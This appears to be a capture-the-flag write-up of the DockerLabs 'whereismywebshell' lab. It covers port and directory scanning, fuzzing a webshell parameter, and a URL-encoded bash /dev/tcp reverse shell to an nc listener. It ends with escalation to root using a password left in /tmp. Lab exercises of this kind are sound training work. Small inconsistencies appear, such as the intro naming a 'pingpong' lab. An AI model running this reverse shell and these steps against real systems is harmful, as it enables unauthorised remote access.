WHEREISMYSHELL DOCKERLABS

 WHEREISMYSHELL

First of all, let’s go to resolve the pingpong cyber lab in the dockerlabs platform.

We have to execute the machine with the command which you can see below.

┌──(root㉿kali)-[/home/luis/Descargas/whereismywebshell]
└─# bash auto_deploy.sh whereismywebshell.tar

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

┌──(luis㉿kali)-[~]
└─$ ping -c3 172.17.0.2  
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.094 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.083 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.082 ms

--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2056ms
rtt min/avg/max/mdev = 0.082/0.086/0.094/0.005 ms

Once the host was identified, Nmap, a port scanning tool, was used to discover which services were running on the machine. The scan revealed port 80 (HTTP) was open.
┌──(root㉿kali)-[/home/luis]
└─# nmap -n -Pn -p- --min-rate 5000 172.17.0.2 -vvv -sV 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 13:29 CEST
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 13:29
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 13:29, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:29
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 13:29, 0.89s elapsed (65535 total ports)
Initiating Service scan at 13:29
Scanning 1 service on 172.17.0.2
Completed Service scan at 13:29, 6.03s elapsed (1 service on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:29
Completed NSE at 13:29, 0.02s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:29
Completed NSE at 13:29, 0.01s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000040s latency).
Scanned at 2025-10-11 13:29:23 CEST for 7s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

With the web service identified on port 80, the next step was to search for hidden directories and files. The Gobuster tool was used with a common wordlist for this purpose as you can see below, but gobuster discovered an interesting directory named /shell.php This finding suggested the existence of a login panel that could be a target for a vulnerability.
┌──(root㉿kali)-[/home/luis]
└─# gobuster dir -u "http://172.17.0.2/"  -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,txt,php,tar,js,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              tar,js,html,bak,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 2510]
/shell.php            (Status: 500) [Size: 0]
/warning.html         (Status: 200) [Size: 315]

Now, we have to execute the next command which is:

wfuzz -c --hl=0 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/shell.php?FUZZ=id"
000115401:   200        2 L      4 W        66 Ch       "parameter"

As we can see, we should execute this command urlencoded as you can see below.
URL ENCODED
%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%37%2e%30%2e%31%2f%34%34%34%34%20%30%3e%26%31%22

Now as we have discovered the vulnerability which is RCE we should get reverse shell as you can see below.

┌──(root㉿kali)-[/home/luis]
└─# nc -lvp 4444
listening on [any] 4444 ...
172.17.0.2: inverse host lookup failed: Unknown host
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 52022
bash: cannot set terminal process group (23): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a57f7da92979:/var/www/html$

www-data@a57f7da92979:/var/www/html$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@a57f7da92979:/var/www/html$ ^Z
zsh: suspended  nc  

Below we can see as we can able to obtain persistence in machine with this commands:

stty raw -echo;fg

Control +Z

reset xterm

export SHELL=BASH

export TERM=xterm   
┌──(root㉿kali)-[/home/luis]
└─# stty raw -echo;fg
[1]  + continued  nc -lvp 4444
                              reset xterm

www-data@a57f7da92979:/var/www/html$ export SHELL=BASH
www-data@a57f7da92979:/var/www/html$ export TERM=xterm
www-data@a57f7da92979:/var/www/html$ sudo -l
bash: sudo: command not found

Now, we are going to searching as we will be able to get root user.
First of all, we should execute this command which I can discover different path.

www-data@a57f7da92979:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/chsh
/usr/bin/umount
www-data@a57f7da92979:/var/www/html$ cd /home/
www-data@a57f7da92979:/home$
www-data@a57f7da92979:/home$ ls
www-data@a57f7da92979:/home$ cd ..
www-data@a57f7da92979:/$ cd ..
www-data@a57f7da92979:/$ ls
bin   dev  home  lib64    mnt  proc  run     srv  tmp  var
boot  etc  lib     media    opt  root  sbin  sys  usr
www-data@a57f7da92979:/$ cd /opt/
www-data@a57f7da92979:/opt$ ls
www-data@a57f7da92979:/opt$ cd /usr/
www-data@a57f7da92979:/usr$ ls
bin  games  include  lib  lib64  libexec  local  sbin  share  src
Gotha! we have just discovered a file which we can see the root password which is contraseñaderoot123

www-data@a57f7da92979:/$ find / -name .*txt 2>/dev/null
/tmp/.secret.txt
www-data@a57f7da92979:/$ cd /tmp/
www-data@a57f7da92979:/tmp$ ls
www-data@a57f7da92979:/tmp$ ls -la
total 12
drwxrwxrwt 1 root root 4096 Oct 11 11:28 .
drwxr-xr-x 1 root root 4096 Oct 11 11:28 ..
-rw-r--r-- 1 root root   21 Apr 12  2024 .secret.txt
www-data@a57f7da92979:/tmp$ cat .secret.txt
contraseñaderoot123
Now, we have to try password and we can see below as we are root user.

www-data@a57f7da92979:/tmp$ su root
Password:
root@a57f7da92979:/tmp# whoami
root
root@a57f7da92979:/tmp#

Thank you very much for reading this article

I hope you liked and learned something new

This article has been done with ethical proposes

Good Hack